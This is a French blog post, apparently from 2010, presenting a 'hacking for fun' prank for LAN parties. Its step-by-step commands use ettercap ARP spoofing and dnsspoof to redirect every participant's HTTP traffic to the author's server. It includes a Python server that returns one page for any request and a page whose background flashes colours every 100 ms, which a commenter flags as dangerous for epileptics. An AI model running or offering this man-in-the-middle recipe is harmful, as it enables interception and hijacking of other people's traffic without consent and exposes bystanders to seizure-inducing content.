Idée de redirection forcée en http lors de lan party, rencontre du libre …

24 avril 2010 par Gaëtan Laisser une réponse »

Plop à tous … dans le genre : « Hacking for fun and fun »

Il peut arriver que l’on s’ennuie lors de participations à des « lan party », rencontres du libre (quoique) et que l’on veuille amuser la galerie, sans trop se faire remarquer.

Le but ici est de faire un man in the middle, pour rediriger toutes les requêtes http sur notre serveur HTTP avec une page étonnamment belle.

Les outils nécessaire :

  • des accès http autorisés sur le réseau (sinon, personne ne tombera dans le « piège »).
  • ettercap (paquet ettercap) ou arpspoof (paquet dsniff) pour le man in the middle
  • dnsspoof (paquet dsniff) pour le dns spoofing
  • un serveur http en place (voir le serveur http python en 1 ligne de commande dans l’article précédent)

la Manipulation :

  • On met en place le forwarding
  • On créer un fichier qui renverra vers notre ip tout les domaines.
  • On met en marche notre spoofing dns sur notre interface réseau
  • On met en place notre serveur HTTP (cf script plus bas)
  • On met en place le man in the middle
  1. sudo sysctl net.ipv4.ip_forward=1
  2. echo "VOTRE_IP *" > hostfile
  3. sudo dnsspoof -i INTERFACE_RESEAU -f hostfile &
  4. sudo ./webserver.py &
  5. ettercap -Tqi INTERFACE_RESEAU -M arp:remote // //

Et tout le monde sur le réseau se retrouvera sur votre serveur HTTP à afficher notre belle page html …

Pour le serveur HTTP on peut utiliser le script suivant :
C’est un serveur un peu spécial, puisque pour n’importe quelle requête http reçu (et pour n’importe quelle page), il renvoit l’index.html courant

  1. #!/usr/bin/python
  2. from os import curdir, sep
  3. from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
  4.  
  5. class MyHTTPServer(BaseHTTPRequestHandler):
  6.     def do_GET(self):
  7.         try:
  8.          f = open(curdir + sep + "index.html")
  9.          self.send_response(200)
  10.          self.send_header('Content-type','text/html')
  11.          self.end_headers()
  12.          self.wfile.write(f.read())
  13.          f.close()
  14.             return
  15.         except IOError:
  16.             self.send_error(404,'File Not Found: %s' % self.path)
  17.     def do_POST(self):
  18.         do_GET(self)
  19.  
  20. def main():
  21.     try:
  22.         server = HTTPServer(('', 80), MyHTTPServer)
  23.         print 'On demarre le serveur WEB…'
  24.         server.serve_forever()
  25.     except KeyboardInterrupt:
  26.         print 'On eteint …'
  27.         server.socket.close()
  28.  
  29. if __name__ == '__main__':
  30.     main()

une idée d’index.html à afficher (j’en suis trop fière quand même ^^ ) :

  1. <html>
  2.  <head>
  3.   <title>Les kikoolols attaquent !!</title>
  4.  </head>
  5.  <body>
  6.   <div style="width:300px;text-align:center;margin:0 auto;margin-top:25%"><h2>Un exemple de script qui éclate bien les yeux, un régale pour du spoofing en lan party, …</h2></div>
  7.   <script type="text/javascript">
  8.    var i=0;
  9.    function lol()
  10.    {
  11.     var color ="";
  12.     switch(i%3)
  13.     {
  14.      case 0:color="red";break;
  15.      case 1:color="green";break;
  16.      default:color="blue";
  17.     }
  18.     i++;
  19.     document.bgColor=color;
  20.     setTimeout("lol()", 100);
  21.    }
  22.    setTimeout("lol()", 100);
  23.   </script>
  24.  </body>
  25. </html>

Et voilà … vous êtes paré pour quelques fou rires en lan …mais il ne faut pas trop en abuser ;) ça devient vite lassant :s.

Publicité
  1. Quentin dit :

    Attention aux epileptiques !!!

Laisser un commentaire